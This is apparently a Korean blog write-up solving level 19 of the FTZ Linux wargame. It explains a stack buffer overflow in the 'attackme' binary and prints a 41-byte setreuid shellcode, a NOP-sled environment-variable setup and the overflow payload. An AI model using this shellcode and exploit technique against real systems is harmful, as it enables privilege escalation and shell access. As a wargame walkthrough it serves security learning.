FTZ 19 Level
ID : level19
Passwd : swimming in pink
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령으로 hint를 열어봤는데 level18과는 다르게 매우 짧은 코드입니다.
‘그런데 완전 BOF 기초 문제 아니야?’하고 생각하실 수도 있겠지만,
지금까지와 다른 점은 setreuid 함수가 호출되지 않았다는 것입니다.
일단 buf와 SFP 사이에 dummy 값이 있을 수 있으니 디스어셈블 해봅시다.
0x28 십진수로 40 크기의 스택 프레임을 생성합니다. buf가 20byte인 것을 감안하면 dummy 값의 크기는 20byte입니다.
| buf(20) | dummy(20) | SFP | RET |
이런 메모리 구조를 가지겠네요.
다시 setreuid 함수에 관한 얘기를 하겠습니다.
Redhat 9.0에서는 권한 상승 코드가 따로 있어줘야 쉘을 실행했을 때 상승된 권한을 가지고 있을 수 있습니다. 그래서 지금까지 썼던 25byte 셸코드가 아닌 setreuid(geteuid(), geteuid()); 를 포함하는 셸코드를 사용해야합니다.
25byte에 setreuid(geteuid(), geteuid())까지 합해지면 41byte의 셸코드가 나오게 됩니다.
환경 변수에 41byte 셸코드를 등록해봅시다.
export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)
그리고 환경 변수의 주소를 알아내는 코드를 작성하고 컴파일해서 실행합니다.
payload : (python –c ‘print “A”*44 + “\x43\xcc\xff\xbf"’; cat) | ./attackme
원본 파일에 공격해봅시다.
exploit!
감사합니다.
'System&Write up > FTZ' 카테고리의 다른 글
FTZ level20 -> clear Write up (0) | 2017.09.27 |
---|---|
FTZ level18 -> level19 Write up (0) | 2017.09.27 |
FTZ level17 -> level18 Write up (0) | 2017.09.27 |
FTZ level16 -> level17 Write up (0) | 2017.09.25 |
FTZ level15 -> level16 Write up (0) | 2017.09.25 |